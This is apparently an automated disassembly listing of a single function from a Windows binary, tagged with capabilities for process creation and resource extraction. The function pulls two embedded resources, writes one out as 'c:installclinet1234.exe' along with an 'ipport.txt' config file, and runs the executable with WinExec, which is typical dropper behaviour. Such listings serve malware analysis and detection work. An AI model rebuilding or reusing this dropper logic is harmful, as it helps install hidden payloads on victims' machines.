Function at 0x401160
Capabilities:
Create process on windows
Extract resource via kernel32 functions

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x407f17
push eax
mov dword fs:[0], esp
sub esp, 0x140
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_FindResourceA]
push 0xa
xor ebx, ebx
push 0x64
push ebx
call edi
mov esi, eax
cmp esi, ebx
je 0x401769
mov ebp, dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push ebx
call ebp
cmp eax, ebx
mov dword [esp + 0x4c], eax
je 0x401769
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, ebx
je 0x401769
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp eax, ebx
mov dword [esp + 0x48], eax
je 0x401769
push esi
call dword [sym.imp.KERNEL32.dll_FreeResource]
push 0xa
push 0x65
push ebx
call edi
mov edi, eax
cmp edi, ebx
je 0x401769
push edi
push ebx
call ebp
mov ebp, eax
cmp ebp, ebx
je 0x401769
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, ebx
je 0x401769
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
push 0x409080
push str.c:installclinet1234.exe
call fcn.0040314a
mov edi, eax
add esp, 8
cmp edi, ebx
je 0x401769
mov eax, dword [esp + 0x4c]
mov ecx, dword [esp + 0x48]
push edi
push eax
push 1
push ecx
call fcn.00403020
push edi
call fcn.00402fca
mov dl, byte [esp + 0x27]
add esp, 0x14
mov byte [esp + 0x38], dl
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x40], ebx
mov dword [esp + 0x44], ebx
mov al, byte [esp + 0x13]
mov dword [esp + 0x158], ebx
mov byte [esp + 0x14], al
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov cl, byte [esp + 0x13]
push ebx
mov byte [esp + 0x2c], cl
lea ecx, [esp + 0x2c]
mov byte [esp + 0x15c], 1
call fcn.00401c60
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x51]
mov byte [esp + 0x50], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, ebp
mov byte [esp + 0x158], 2
stosb byte es:[edi], al
mov edx, ecx
lea edi, [esp + 0x50]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x38]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
sub esp, 0x10
lea edx, [esp + 0x27]
mov ecx, esp
mov dword [esp + 0x5c], esp
push edx
push 0x409060
call fcn.004018d0
sub esp, 0x10
lea eax, [esp + 0x4b]
mov ecx, esp
mov dword [esp + 0x70], esp
lea edx, [esp + 0x74]
push eax
push edx
mov byte [esp + 0x184], 3
call fcn.004018d0
mov byte [esp + 0x17c], 2
call section..text
mov eax, dword [esp + 0x60]
add esp, 0x24
cmp eax, ebx
je 0x4016bb
mov ecx, dword [esp + 0x40]
sub ecx, eax
and ecx, 0xfffffff0
cmp ecx, 0x20
jne 0x4016bb
lea edx, [esp + 0x14]
lea eax, [esp + 0x27]
push edx
sub esp, 0x10
mov ecx, esp
mov dword [esp + 0x5c], esp
push eax
push 0x40905c
call fcn.004018d0
push ebx
lea ecx, [esp + 0x50]
mov byte [esp + 0x170], 4
call fcn.00401bc0
sub esp, 0x10
mov ecx, esp
mov dword [esp + 0x70], esp
push eax
call fcn.004017b0
mov byte [esp + 0x17c], 2
call section..text
mov eax, dword [esp + 0x3c]
add esp, 0x24
cmp eax, ebx
je 0x4015d4
mov ecx, dword [esp + 0x1c]
sub ecx, eax
and ecx, 0xfffffff0
cmp ecx, 0x40
jne 0x4015d4
xor ebp, ebp
xor esi, esi
cmp eax, ebx
je 0x401410
mov edx, dword [esp + 0x1c]
sub edx, eax
sar edx, 4
cmp ebp, edx
jae 0x401410
mov ecx, dword [esi + eax + 8]
lea edx, [esi + eax]
cmp ecx, 1
jne 0x4013e5
mov edi, 0x409058
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x409058
mov ecx, edx
call fcn.00401de0
mov eax, dword [esp + 0x18]
inc ebp
add esi, 0x10
jmp 0x4013a2
cmp ecx, 2
jne 0x40140a
mov edi, 0x409054
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x409054
mov ecx, edx
call fcn.00401de0
mov eax, dword [esp + 0x18]
inc ebp
add esi, 0x10
jmp 0x4013a2
mov ecx, dword [0x4080f4]
push ecx
push ebx
push eax
lea ecx, [esp + 0x34]
call fcn.00401d00
or ebp, 0xffffffff
mov edi, 0x40905c
mov ecx, ebp
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x40905c
lea ecx, [esp + 0x30]
call fcn.00401de0
mov edx, dword [0x4080f4]
mov eax, dword [esp + 0x18]
push edx
add eax, 0x10
push ebx
push eax
lea ecx, [esp + 0x34]
call fcn.00401d00
mov edi, 0x40905c
mov ecx, ebp
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x40905c
lea ecx, [esp + 0x30]
call fcn.00401de0
mov ecx, dword [0x4080f4]
mov edx, dword [esp + 0x18]
push ecx
add edx, 0x20
push ebx
push edx
lea ecx, [esp + 0x34]
call fcn.00401d00
mov edi, 0x40905c
mov ecx, ebp
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x40905c
lea ecx, [esp + 0x30]
call fcn.00401de0
mov eax, dword [0x4080f4]
mov ecx, dword [esp + 0x18]
push eax
add ecx, 0x30
push ebx
push ecx
lea ecx, [esp + 0x34]
call fcn.00401d00
mov edi, 0x409050
mov ecx, ebp
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x409050
lea ecx, [esp + 0x30]
call fcn.00401de0
mov edx, dword [0x4080f4]
mov eax, dword [esp + 0x3c]
push edx
add eax, 0x10
push ebx
push eax
lea ecx, [esp + 0x34]
call fcn.00401d00
push 0x409080
push str.c:ipport.txt
call fcn.0040314a
mov esi, eax
add esp, 8
cmp esi, ebx
je 0x401642
mov eax, dword [esp + 0x2c]
cmp eax, ebx
jne 0x401525
mov eax, 0x4080f0
mov ecx, dword [esp + 0x30]
push esi
push ecx
push 1
push eax
call fcn.00403020
push esi
call fcn.00402fca
mov eax, dword [esp + 0x40]
add esp, 0x14
cmp eax, ebx
je 0x401561
lea ecx, [eax - 1]
mov al, byte [eax - 1]
cmp al, bl
je 0x401558
cmp al, 0xff
je 0x401558
dec al
mov byte [ecx], al
jmp 0x401561
push ecx
call fcn.00402860
add esp, 4
mov edi, dword [esp + 0x1c]
mov esi, dword [esp + 0x18]
cmp esi, edi
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
mov byte [esp + 0x158], bl
je 0x401594
push 1
mov ecx, esi
call fcn.00401c60
add esi, 0x10
cmp esi, edi
jne 0x401580
mov esi, dword [esp + 0x18]
push esi
call fcn.00402860
mov edi, dword [esp + 0x44]
mov esi, dword [esp + 0x40]
add esp, 4
cmp esi, edi
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x158], ebp
je 0x401753
push ebx
mov ecx, esi
call fcn.00402800
add esi, 0x10
cmp esi, edi
jne 0x4015c0
jmp 0x40174f
push 1
lea ecx, [esp + 0x2c]
mov byte [esp + 0x15c], 1
call fcn.00401c60
mov edx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
push edx
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x160], bl
call fcn.00401cb0
mov ecx, dword [esp + 0x18]
push ecx
call fcn.00402860
mov edx, dword [esp + 0x44]
mov eax, dword [esp + 0x40]
add esp, 4
lea ecx, [esp + 0x38]
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
push edx
push eax
mov dword [esp + 0x28], ebx
mov dword [esp + 0x160], 0xffffffff
call fcn.00401cb0
mov ecx, dword [esp + 0x3c]
push ecx
jmp 0x401754
push 1
lea ecx, [esp + 0x2c]
mov byte [esp + 0x15c], 1
call fcn.00401c60
mov edi, dword [esp + 0x1c]
mov esi, dword [esp + 0x18]
cmp esi, edi
mov byte [esp + 0x158], bl
je 0x40167b
push ebx
mov ecx, esi
call fcn.00402800
add esi, 0x10
cmp esi, edi
jne 0x401668
mov esi, dword [esp + 0x18]
push esi
call fcn.00402860
mov edi, dword [esp + 0x44]
mov esi, dword [esp + 0x40]
add esp, 4
cmp esi, edi
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x158], ebp
je 0x401753
push ebx
mov ecx, esi
call fcn.00402800
add esi, 0x10
cmp esi, edi
jne 0x4016a7
jmp 0x40174f
mov eax, dword [esp + 0x2c]
cmp eax, ebx
je 0x4016e0
lea ecx, [eax - 1]
mov al, byte [eax - 1]
cmp al, bl
je 0x4016d7
cmp al, 0xff
je 0x4016d7
dec al
mov byte [ecx], al
jmp 0x4016e0
push ecx
call fcn.00402860
add esp, 4
mov edi, dword [esp + 0x1c]
mov esi, dword [esp + 0x18]
cmp esi, edi
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
mov byte [esp + 0x158], bl
je 0x401713
push 1
mov ecx, esi
call fcn.00401c60
add esi, 0x10
cmp esi, edi
jne 0x4016ff
mov esi, dword [esp + 0x18]
push esi
call fcn.00402860
mov edi, dword [esp + 0x44]
mov esi, dword [esp + 0x40]
add esp, 4
cmp esi, edi
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x158], 0xffffffff
je 0x401753
push 1
mov ecx, esi
call fcn.00401c60
add esi, 0x10
cmp esi, edi
jne 0x40173f
mov esi, dword [esp + 0x3c]
push esi
call fcn.00402860
add esp, 4
push 5
push str.c:installclinet1234.exe
call dword [sym.imp.KERNEL32.dll_WinExec]
mov ecx, dword [esp + 0x150]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x14c
ret